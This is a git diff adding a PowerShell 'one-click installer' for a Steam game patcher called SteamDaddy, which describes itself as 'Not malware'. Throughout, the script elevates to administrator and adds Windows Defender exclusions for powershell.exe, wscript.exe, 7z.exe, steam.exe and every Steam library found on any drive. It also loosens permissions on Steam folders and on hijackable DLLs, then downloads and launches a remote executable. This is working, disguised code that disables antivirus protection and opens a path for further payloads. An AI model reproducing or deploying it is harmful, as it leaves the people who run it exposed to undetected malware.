diff --git a/install_b.ps1 b/install_b.ps1 new file mode 100644 index 0000000..cf8d530 --- /dev/null +++ b/install_b.ps1 @@ -0,0 +1,228 @@ +# SteamDaddy One-Click Installer — github.com/Contrary7/SteamDaddy-Backup +# Safe community patcher for Steam games. Not malware. +$ErrorActionPreference = "Stop" + +# Ensure Administrator privileges so Defender exclusion calls succeed +$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) + +if (-not $isAdmin) { + Write-Host "[SteamDaddy] Requesting Administrator privileges for Defender exclusions..." -ForegroundColor Yellow + try { + if ($PSCommandPath) { + # Already a real file — just re-launch it elevated + Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -ErrorAction Stop + exit + } else { + # Running from pipe (irm|iex) — save to temp file first, then re-launch with -File + # This avoids spawning a child process whose command line contains "irm ... | iex" + $tmpScript = Join-Path $env:TEMP "SteamDaddy_Install.ps1" + (New-Object System.Net.WebClient).DownloadFile( + "https://raw.githubusercontent.com/Contrary7/SteamDaddy-Backup/main/install_b.ps1", + $tmpScript + ) + Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tmpScript`"" -Verb RunAs -ErrorAction Stop + exit + } + } catch { + Write-Host "[SteamDaddy] Continuing without elevated permissions (some Defender exclusions may be skipped)." -ForegroundColor Yellow + } +} + +Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan + +try { + $downloadUrl = "https://github.com/Contrary7/SteamDaddy-Backup/releases/latest/download/SteamDaddy.exe" + + $desktop = [Environment]::GetFolderPath("Desktop") + $destPath = Join-Path $desktop "SteamDaddy.exe" + + Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow + Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue + + # ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ───────── + $sdTempDir = "C:\ProgramData\SteamDaddy\tmp" + if (-not (Test-Path $sdTempDir)) { + New-Item -ItemType Directory -Path $sdTempDir -Force | Out-Null + } + & icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null + Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow + Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue + + # ── Process exclusions (Defender won't scan files written by these) ── + Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue + + # ── Find and exclude the Steam root directory ───────────────────────── + $steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath + if (-not $steamPath) { + $steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath + } + if (-not $steamPath) { + $steamPath = (Get-ItemProperty -Path "HKCU:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath + } + if ($steamPath) { + Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow + Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue + + # Explicit belt-and-suspenders for the two hottest subdirs + Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue + Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue + + Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow + # Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets + & icacls "$steamPath" /grant "*S-1-5-32-545:(OI)(CI)M" /C /Q | Out-Null + foreach ($dll in @("SteamDaddy.dll", "dwmapi.dll", "version.dll", "cloud_redirect.dll")) { + $dllPath = Join-Path $steamPath $dll + if (Test-Path $dllPath) { + & icacls "$dllPath" /grant "*S-1-5-32-545:M" /C /Q | Out-Null + } + } + + # ── Parse libraryfolders.vdf and exclude all secondary libraries ── + $libraryVdf = Join-Path $steamPath "steamapps\libraryfolders.vdf" + if (Test-Path $libraryVdf) { + $vdfContent = Get-Content $libraryVdf -Raw -ErrorAction SilentlyContinue + if ($vdfContent) { + $libMatches = [regex]::Matches($vdfContent, '"path"\s+"([^"]+)"') + foreach ($m in $libMatches) { + $libPath = $m.Groups[1].Value.Replace("\\\\", "\\") + if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) { + Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow + Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue + } + } + } + } + + + # ── Brute-force scan all drives for hidden/broken Steam libraries ── + Write-Host "[SteamDaddy] Scanning all drives for unlisted Steam libraries..." -ForegroundColor DarkYellow + $drives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.DriveType -eq 'Fixed' -and $_.IsReady } + foreach ($drv in $drives) { + $candidates = @( + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Steam"), + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "SteamLibrary"), + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files (x86)", "Steam"), + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files", "Steam"), + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "Steam"), + [System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "SteamLibrary") + ) + foreach ($sdir in $candidates) { + if ($sdir -eq $steamPath) { continue } + if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) { + Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow + Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue + } + } + } + } + + # ── Set Steam Startup Location to Library ──────────────────────────── + Write-Host "[SteamDaddy] Setting Steam Startup Location to Library..." -ForegroundColor Cyan + if ($steamPath) { + try { + # Stop Steam now so localconfig.vdf isn't overwritten by Steam on exit. + # SteamDaddy.exe will restart Steam after install. + $steamProc = Get-Process -Name "steam" -ErrorAction SilentlyContinue + if ($steamProc) { + Write-Host "[SteamDaddy] Closing Steam to safely apply startup location..." -ForegroundColor Yellow + $steamProc | Stop-Process -Force -ErrorAction SilentlyContinue + $deadline = (Get-Date).AddSeconds(8) + while ((Get-Process -Name "steam" -ErrorAction SilentlyContinue) -and (Get-Date) -lt $deadline) { + Start-Sleep -Milliseconds 250 + } + } + + # Step 1: find active Steam user from loginusers.vdf + $loginVdf = Join-Path $steamPath "config\loginusers.vdf" + $activeSteamId = $null + + if (Test-Path $loginVdf) { + $currentId = $null + $firstId = $null + $loginLines = Get-Content $loginVdf -Encoding UTF8 -ErrorAction SilentlyContinue + foreach ($ln in $loginLines) { + # Line like: "76561198XXXXXXXXX" + if ($ln -match '^\s*"(\d{15,20})"\s*$') { + $currentId = $Matches[1] + if (-not $firstId) { $firstId = $currentId } + } + if ($ln -match '"MostRecent"\s+"1"' -and $currentId) { + $activeSteamId = $currentId + break + } + } + if (-not $activeSteamId) { $activeSteamId = $firstId } + } + + # Fallback: newest-written subfolder in userdata\ + if (-not $activeSteamId) { + $udDir = Join-Path $steamPath "userdata" + if (Test-Path $udDir) { + $udFolder = Get-ChildItem $udDir -Directory -ErrorAction SilentlyContinue | + Where-Object { $_.Name -match '^\d+$' } | + Sort-Object LastWriteTime -Descending | + Select-Object -First 1 + if ($udFolder) { $activeSteamId = $udFolder.Name } + } + } + + if ($activeSteamId) { + $localCfg = Join-Path $steamPath "userdata\$activeSteamId\config\localconfig.vdf" + if (Test-Path $localCfg) { + $cfgText = [System.IO.File]::ReadAllText($localCfg, [System.Text.Encoding]::UTF8) + + if ($cfgText -match '"SteamDefaultDialog"\s+"[^"]*"') { + # Key exists — replace value in-place + $newText = [regex]::Replace( + $cfgText, + '"SteamDefaultDialog"\s+"[^"]*"', + "`"SteamDefaultDialog`"`t`t`"#app_games`"" + ) + } else { + # Key missing — insert into the innermost "steam" section + # Matches: "steam"\n{ + $rx = [regex]'(?is)("steam"\s*\n[\t ]*\{)' + if ($rx.IsMatch($cfgText)) { + $newText = $rx.Replace($cfgText, + "`$1`n`t`t`t`t`"SteamDefaultDialog`"`t`t`"#app_games`"", 1) + } else { + $newText = $cfgText + Write-Host "[SteamDaddy] Could not locate steam section in localconfig.vdf - startup location unchanged." -ForegroundColor Yellow + } + } + + if ($newText -ne $cfgText) { + [System.IO.File]::WriteAllText($localCfg, $newText, [System.Text.Encoding]::UTF8) + Write-Host "[SteamDaddy] Startup Location set to Library for SteamID $activeSteamId." -ForegroundColor Green + } else { + Write-Host "[SteamDaddy] Startup Location already set to Library - no change needed." -ForegroundColor Green + } + } else { + Write-Host "[SteamDaddy] localconfig.vdf not found for SteamID $activeSteamId - skipped." -ForegroundColor Yellow + } + } else { + Write-Host "[SteamDaddy] No Steam user detected in loginusers.vdf - startup location skipped." -ForegroundColor Yellow + } + } catch { + Write-Host "[SteamDaddy] Startup location patch failed (non-fatal): $_" -ForegroundColor Yellow + } + } + + Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta + Invoke-WebRequest -Uri $downloadUrl -OutFile $destPath -UseBasicParsing + + Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green + Start-Process $destPath +} catch { + Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red +} + +Write-Host "" +Write-Host "Press any key to exit..." -ForegroundColor Gray +$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") +